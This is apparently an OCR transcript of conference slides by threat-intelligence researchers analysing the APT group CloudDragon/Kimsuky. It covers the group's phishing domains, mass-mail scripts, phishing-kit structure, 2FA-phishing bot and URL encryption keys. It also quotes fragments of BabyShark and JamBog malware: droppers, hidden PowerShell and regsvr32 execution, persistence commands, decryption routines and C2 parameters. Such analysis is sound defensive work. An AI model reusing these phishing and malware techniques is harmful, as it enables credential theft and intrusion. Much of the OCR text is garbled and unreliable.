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Linda Kuo

* Senior Threat Intelligence Analyst @ TeamT5
* Speaker of BlackHat Asia, CODEBLUE, HITCON, etc.
* In love with APT & Financial Intrusions
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Zih-Cing Liao

* aka DuckLL

* Senior Threat Intelligence Researcher @ TeamT5
 Speaker of CODEBLUE, BlackHat Asia, etc.

* Focus on APAC APT
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Who is CloudDragon

AAAAAAAAAAAAAA



Kaspersky 2013 Public

APT 37 Kimsuky Kimsuky

Same |
Shellcode




As a Phisherman

Favored Techniques
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Target Scope
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These are the official ones
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These are the registered ones..

m navor.ml
daurn.hol.es
claum.cf
grnail-signin.ga
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login.hotdriverml  login hotmailml  hotmailoutlook.tk  outlooklive.ga

Microsoft

®
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upload.mydrives.ml
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Naver
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Attain access Send phishing emails
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Delivery Method

TWILIO

I" SendGrid

PHPMAILER




PHPMailer

e A full-featured email creation and transfer class for PHP

* Support SMTP login
* Send from C2 (compromised site)

SECCONF

AMSTERDAM - 2021



PHPMailer

¢ > C AF=z I

Index of /-

Name Last modified Size Description

é

Index of /) modules

Name Last modified Size Description

a Parent Directory
[:3 PHPMailer-master, 2021-04-06 23:08
chaos.php 2021-02-12 15:44 3

-

4 ho/? 4 417
Apache/2.4.41

in64) OpenSSL/1.1.1c PHP/7.2.26 Server ot [ NN
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PHPMailer

——  modules

— List-test.py

— List.py
—— mailler.php

—— sender.py

—— PHPMai ler-master //

//
//
//
//

PHPMai ler release
test accounts List
target accounts List
send mail

batch script
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't PHPMailer

* sender.py
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' PHPMailer

ETET
e
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PHPMailer

 Mail header
e Fake sender email

From: Google <norply.co.kor@grnail.com>

Subject: =2UTF-8?B?W+ykkeyalF0=?= Google
=?UTF-8?B?6rOE7KCV7JeQIOuMg02VnCDsgq3soJzsmpTssq3snbQ=?=
=?UTF-8?B?I0ygkeyImOuQmOyXiOyKteuliOuLpA==2?=

Message-1D: <9lctvAb2zMzre61Cdz6PSmxvqYjck3MFgySziTC2M@

X-Mailer: PHPMailer 6.0.7 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0

Reply-To: Google <norply.co.kor@grnail.com>

X-SG-EID:
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SendGrid

* Email delivery service
* 100 emails /day for free
* PHP support
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SendGrid

¢ > c ol

Index of /nv

Name Last modified Size Description

a Parent Directory -
Qi 2021-04-27 17:05 -
enc_url php 2020-06-27 22:36 1.7K
(£ senderid-php/  2021-04-27 17:04 -

Apache/2.4.46 (Win64) OpensSL/1.1.1; PHP/7.3.27 Server at || | KGR

Index of /nv/ch

Name Last modified Size Description

3 Parent Directory. -
change_phone php 2021-03-09 11:48 7.7K
change_phone_z3 py 2021-03-09 11:48 1.1K
cruelty_zl txt 2021-03-09 11:48 1.0K
zlixt 2021-03-09 11:48 9

Apache/2.4.46 (Win64) OpenSSL/1. ]

AMSTERDAM - 2021



SendGrid

—— CN
—— Cchange_pnhone.php // send mail

—— Cchange_phone_z3.py // batch script
—— Ccruelty_zl.txt // send log
— z1.txT /) target List
—— enc_ur L.php // url encryption
—— sendgrid-php // sendgrid release _
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SendGrid

* change_phone_z3.py

def send_txt_with_url(fname, url):
print(">>> " + url)
fin ~ open(fname, 'r')
True:
target = fin.readline()
target:

target  target.strip()

logfile = os.path.join(CUR_DIR, 'cruelty_' fname)
result send_mail_with_url(target, url)
print(result)

codecs.open(logfile, mode-"a", encoding-"utf-8") L8
strtime = datetime.datetime.now().strftime("%Y.%m.%d %H:%M:%S")
1f.write("[" strtime L) result NN
time.sleep(300)
fin.close()
print("Finished\r\n")

__hame__ '__main__":
send_txt_with_url("zl.txt", "http://127.0.0.1/nv/ch/change_phone.php")

.
.

print("Finished")

”_
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SendGrid

e Email Header

| it e S S e T S e T e e O s A i 0l petid R R TR /

Authentication-Results: mx.naver.com;
spf=pass (mx.naver.com: domain of bounces+14760089-e350-tax1940=naver.
com@sendgrid.net designates 50.31.49.41 as permitted sender) smtp.
mailfrom=bounces+14760089-e350-tax1940=naver.com@sendgrid.net;
dkim=pass header.i=@sendgrid.net

A-=Naver-ESV: wdFn+6J4p63qMBIYKNwdbXmmFqUQFAIYkXm=

X-Session-IP: 50.31.49.41

Received: from 050314941.outbound-mail.sendgrid.net (050314941.

outbound-mail.sendgrid.net [50.31.49.41])
by crcvmail205.nm.naver.com with ESMTP id pGRZS3bgTcmgjMXNhJtX3g
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Delivery Method

Web Service

-

PHPMAILER

The PHP email class https//github.comvPHPMailer/PHPMailer
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As a Phisherman

Evolutions in Techniques
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Traditional Phishing - Case |
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Traditional Phishing - Case |

* http://{cc)/? &token_help=ZGVtbw==

. mode

* viewlnputPasswdForMylinfo
* viewlnputPasswd

* viewDownload

* viewChangePasswd

* token_help: baseb4(userid)
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Traditional Phishing - Case |

—— Mobile_Detect.php //

—— CSS //
—— down load.php //
—— error.php //
— //
—— Tndex.php //
— ]S //

detect user agent
CSS resource

down load f1le
default error page
Logo 1con

main controller
javascript resource
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Traditional Phishing - Case |

log.php //
mobile_{mode}.php //

oC_{mode}.php //
reading.php //
res //
resu Lt //
- {ip}_log.txt //
robots. txt //

log function page
mobi le function page
oCc fTunction page

1p recon page

Tmage resource
victim folder

victim data

anti bot
SECCONF
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Traditional Phishing - Case |

/result/{ip}_log.txt

Mobile_Detect.php
Log step
l — pc_{mode}.php —
" indexphp > —  log.php
include
. — mobile_{mode}.php —
CEISCREN success

/result/{user_id}cfm

error.php
SECCONF
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Traditional Phishing - Case Il

To continue, first verify it's you.

demo

®

Keep me signed in

Forgot Apple ID or password?
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Traditional Phishing - Case Il

* http:/fcc}/? &last=login
. baseb4(userid)
* |[ast: exit page index
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Traditional Phishing - Case Il

— // decoy file
—— Mob1 le_Detect.php // detect user agent
— // Logo 7con

—— iCloud_files // web resource
— 1cloud.pnhp // modified login page
—— Tndex.php // main controller
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Traditional Phishing - Case Il

— [Ink.php // redirect to specific victim
— Log.pnhp // log fTunction page
— pdT.php // show decoy and redirct
—— reading.pnp // 1p recon page
—— result // victim folder

— {ip}_Llog.txt // victim data
—— robots. Txt // anti bot

SECCONF
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Traditional Phishing - Case Il
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' Traditional Phishing - Case |l

/result/{ip}_log.txt

i - Bl

include
i

\ / success
redirect
a /result/{user_id}cfm
\H/TH SECCONF/
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Evolution 1: Proxy Mirror

* PHProxy Phishing Site Internet

* Auto update
* Replace response content

Proxy

* Verity avaliability

7
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Proxy Mirror

S A0 2 oy

demo

. M 1
* Phishing Email
7 Q) 04/29/2021 07:52 PM (KST)
24 e L 2> 3| > H2tK 7
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' Proxy Mirror

Phishing Email Hopping point Phishing Site

Encrypted URL Decrypt and Redirect Query String URL

-
HITESECCONF/

oy =




Proxy Mirror

KEY: SHA256("phpurlproxy.kr")

AES-256-CBC l IV: SHA256("#@$%"8&*()_+=-")
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Proxy Mirror
* https://{cc2}/? &p=dmiwLzEwMDIVMTAwMw==
&U=http%3A%2F%2Fmail.naver.com%2Fbeginnv.nid
. baseb4({user_id})
e p: baseb4(vip/exit_index}/{exit_index})
* u: url_encode(target url)
”
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Proxy Mirror

« DEMO TIME

7
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Proxy Mirror
Fetch Login page  Naver
Modify Form ]
) Login
username Sucess »

password

» ./logs/{user_id}.cfm
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Proxy Mirror

« DEMO TIME
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Evolution &: Phishing Bot

Phishing Site

ajax

Phishing Bot

1 1

]

Browser

\J
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Phishing Bot

o|# 5ol 2EHA ¢

 Phishin g Email QHO1H|2. Daum L& SIXRILICE

3|39 2 Daum 0| 24
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' Phishing Bot

Phishing Email Hopping point Phishing Site

Encrypted URL Decrypt and Redirect Query String URL

-
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Phishing Bot

KEY: SHA256("phpurlproxy.kr")

AES-256-CBC l IV: SHA256("#@$%"8&*()_+=-")
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Phishing Bot

* https://{cc2}/?mode=security& &m=verify&
username
* Mm: mode
* login
* login_otp
* verify
e edit

. exit page index
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Phishing Bot

L]
Y m — I O g I n testtest2@hanmail.net

27391 Helf {X|

b SR RIS E
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Phishing Bot

* m=login_otp

o] S2FRXI0IM 2547 915 ALE ot 3t

2ol

Ol A Q1 X5]7
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Phishing Bot

* m=verify

Daum O}0|C| testtest

B2
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[ [ J
Phishing Bot

account, password
try login

login success

* 2FA Phishing

otp need

redirect

try otp
success
exit

redirect
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Phishing Bot

« DEMO TIME
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In the Phisherman's Toolbox

Malware

AAAAAAAAAAAAAA



Delivery Malware

Win PE
: > Win Installer
WSF
HTA
Macro doc
Email Exploit hwp
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BabyShark

e 7019 pOWGI’_dII’.ng.
expres.php power_exe.qgif
cow.php power_key.qgif
upload.php m

— EHII] asist_vbs_backup.gif
y O =—|ll| asistgif
acro Fetch Commands
pownloac o—m| -
exe.qgif
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BabyShark

1 Function Co00(c)
2 L=Len(c)
3 S:"ll
4 For jx=0 To d-1
5 For ix=0 To Int(L/d)-1
Ny 6 s=s&Mid(c,ix*d+jx+1,1)
7 Next
—> 8 Next
9 s=s&Right(c,L-Int(L/d)*d)
, 10 Co00-s
Decrypt Function ,
kAl Egler JEline e e
107,

7
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BabyShark

Sm) sepbep) \11jt1 Set wShell=CreateObject("WScript.Shell")
UloB . Post0.Send ()
h.aawldurdtSo=mu.=hgC\npoe"SQ(hbl

to"pjl chk=Post0.respoCStr(DatePart("n", timenow))

rtp'F=P("o,SCoD"w'Orsa e".ett/r&Ca0eTstrt.PRhteelOa ema
"se"ec"dcx'xtG"re)t(E,i ;F"T ptdiW"ttaelS,i.slec"mek (

Len(m)<2 m="0"&m
e.t)" t_St)">tbh_
">mae
s L 2 n n
n ptlllhlllll&l’=96"&Illlocallllx) ' en(d) d 0 d
Sp&llll
tpt", Len(h)<2 h="0"2h
Prdt;TSo(amdresDtpeuttaa&le 0t%" )o.e\""
bSPM"" Len(n)DZ n="0"&n
jeai"" Fnrc,& Sdtrot O0((o,to=)"stmbC
horpjr tmp="schtasks /Create /SC MINUTE /MO 15 /ST 07:00 /SD /TN
"fu&Bec,te"aah \)"ttktR ""Adobe\Microsoft\Windowmpl.log"
"L e=ix
Encrypted payload Decrypted payload
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' BabyShark

« 2020
. | o—Ill
his.php m
Macro recon AV info Enm
Drop
L
\HITESECCONF/
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BabyShark

v Function Co00(c)

d = 4
L = Len(c)
g = un

N\ % For jx = 0 To d - 1
/ For ix = 0 To Int(L / d) - 1
.ﬁ s =s + Mid(c, ix xd + jx + 1, 1)
Next
Next

s = s + Right(c, L - Int(L / d) x d)
Decrypt Function Co00 = s

End Flunction

7
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BabyShark

bat_0 = "OSlInesO ltbEeSjrceertrco vtr*i( csRfeters
iruNnSte3eex2rrt_v, :Pi frcsuoetncDrceeC_ssrsscet""rd
sFf ,u B n(yocERbtrejirfWo. MnNsI utSCmreobEr@exvOrp
a dotS=)iY4 oS:TnELh)X=e:PLn Le
vAn N( Ac OT) nI
Os EN= r)"" r)""Eo ""xrT""i h:tReF enoFs:ruu nm jc
hd e- clE k:nDAFdino mtrI i foVi:bix jr= Su@ es
(ts""LPSe/rerdorr)cvo-eirlsc"":se:seR =su s.n Cn +
(<""xc=:1, ti0® x) F* udTFn+hocjertxn i+:Eol an,
o N b e jEx SntEed:xr NivIetifx c:tFe :u snI =cn st
vtt ii(EcVcnei,dsrL :u-I sIf Sn
ct a( nL / =dO0 )nIcx fhdE e)r(c:rEkCorAorrn® .
vb <jF >Wu Mn 0Icr)Ste eitTrorhvniei""enc:v:efe ,uP
p2s u L t=i e s r""tE,F x u=iSn tYcT StrFEiuuXoenPn:
N)c ):t :di E=o n8n d:
L:EF=FnuLudnen cncIt(tfici:o)o n:n :s F=r u""e n""

Encrypted payload

On Error Resume Next:func_str_1 = "Function Co00(c):d=4:L
To d-1:For ix=0 To Int(L/d)-1l:s=s + Mid(c,ixxd+jx+1,1):Ne
L-Int(L/d)*d):Co00=s:End Function":func_str_2 = "Function
:s="""":For jx=0 To d-1l:For ix=0 To Int(L/d)-1l:s=s + Mid(
:Next:Next:s=s + Right(c,L-Int(L/d)*d):Co00=s:End Functio
:d=4:L=Len(c) :s="":For jx=0 To d-1:For ix=0 To Int(L/d)-1
1) :Next:Next:s=s + Right(c,L-Int(L/d)*d):Co00=s:End Funct
myComputer ): On Error Resume Next: Set objwWMIServi
"winmgmts://" & myComputer & "/root/cimv2" ): Set coll
ExecQuery( "Select * from Win32_Battery" ): IslLaptop =
objItem in colItems: IsLaptop = True: Next:End
retrieveProcessesList(objWMIService, strComputer, ByRef 1
strSysExplanation): retrieveProcessesList = False:
Nothing: On Error Resume Next: Set 1stProcesses = o
("Select * from Win32_Process"): If (Err.Number <> 0)

Decrypted payload

7
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JamBog

* aka AppleSeed, AutoUpdate
* First Seen: December 2019

* F\PC_Manager\Utopia_v0.2\bin\Incubation64.pdb
e E:\works\utopia\Utopia_v0.2\bin\AppleSeed64.pdb

SECCONF
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JamBog

* WSF Script

// extract attached file

var var_out_data_file = var_fs.CreateTextFile(var_b64_file_path, true);
var_out_data_file.Write(var_b64data);

var_out_data_file.Close();

// show extracted attached file
b64decfile(var_b64_file_path, var_file_path, true);
var_shell.Run(var_file_path, 1, false);

// extract bin file

var var_out_bin_file = var_fs.CreateTextFile(var_b64_bin_path, true);
var_out_bin_file.Write(var_b64bin);

var_out_bin_file.Close();

// run extracted bin file

b64decfile(var_b64_bin_path, var_bin_path, true);

Var Shell.Run(llcmll+|ld.e||+llxe|l+ll /C p"+"°"+"W" + Iler“ + "sh" + lle1|l+lll.el| + leell
+" _w-i" + llnd°||+"wstll + l|y1e|l+ll h-id"+"den re" + llgs"+llvll+"r3ll + "2.e" + "Xe /s n
+ var_bin_path, 0, false);

// delete itself

func_self_delete();

7
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' JamBog

Run =
O

DIIReglsterServer

regsvr32
JamBog
Drop I Inject
i

HWP
PDF
DOC
Explorer P
| \HI\TBSEC[:[II\IIF/
~




JamBog

* Presistent

Notepad

PeerNet
Protected Storage
RAS AutoDial

I »

ab|\WindowsDefender G_S7Z regsvr32.exe /s "C\Users\user\AppData\Roaming\Microsoft\Windows\Defender\AutoUpdate.dll"

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

SECCONF
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' JamBog
* Encrypted Strings
/
|

.
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' JamBog

* Decrypt Function

i
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JamBog

* Decrypt Function

O 0o N O U1 b W

10
Jhal

12
1

def dec(chiper):

bhex = bytes.fromhex(chiper)

key = bhex[:16]

cipher = bhex[16:]

last = 0

result = ""

for i in range(len(cipher)):
result += chr(cipher[i] " key[i % 16] " last)
last = cipher[i]

return result

7
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' JamBog

* Decrypted Strings

/
i
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JamBog

%PDF-1.7...4 O obj

. CRC Checksum
* Data Encryption
r Key (16 bytes)
Al
Compress XOR
ﬁ ﬁ Enc_data

7
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' JamBog

* Data Encryption %PDF-1.7...4 0 obj
%PDF - CRC Checksum
) 1.7..4 0 obj .q.
A e Key (16 bytes)

' 377EBDBN\ :AFA.. 3/.] hw..
8FCF@433 GBE44A1A 97835300 o e T e
8FCF@433 2BE44A1A 9788EBDO/ w .A.. 3+.] ....

Enc_data

\HITESECCONF/

| i




JamBog

def dec(file_path):

with open(file_path, "rb") as f:
body = f.read()

sig = "%PDF-1.7..4 0 obj1234"

key body[len(sig):len(sig) + 16]

chiper = body[len(sig) + 16:]

out = ""

for i in range(len(chiper)):
out += chr(ord(chiper[i]) * ord(key[i % 16]))

with open(file_path + ".zip", "wb") as f:
f.write(out)

* Decrypt function

O 0 N O U A W N M

o
= ©

)

7
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JamBog

* Command

* 0: execute cmd.exe

* 1: run dll with regsvr32
* 2: run dll in memory

e 3: upload file

e

e—y ——
if ( command_code )

{

if ( cmdtype )
<

1
switch ( cmdtype )

-
1

case 1:

(&v54);

break;
case 2:

break;
case 3:

break;

(&v54);

("Command not loaded.");

7
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' JamBog

* Flag Function

i

\HITHSECCONF/
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' JamBog

{Work Folder)/Flags/

-

* Flag Function
Check

| u.TnsE[:[:uNF

v///// A
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' JamBog

e Screen Monitor

i

\HITHSECCONF/
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' JamBog

* keyboard Monitor

i

\HITHSECCONF/
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'+ JamBog

 Folder Monitor

/
L
W \HITHSECCONF/
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' JamBog

e USB Monitor

/
|
i
W | \HITHSECCONF/
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JamBog

* Query String
ping: m=2&p1=[uid]

upload: m=b&pl1={uid|&p2=[type]

down_cmd: m=c&p1=[uid]
delete_cmd: m=c&p1={uid]

upgrade: m=c&pl=[uid]&p2=[arch]&p3=[shaf]
SECCONF
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CRELCEIEY

* The APT group CloudDragon
* Advanced and Diverse Phishing Skills
* Malware in Use
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Thank You

Zih-Cing Liao Linda Kuo
duckll@teamt5.org linda@teamtb.org
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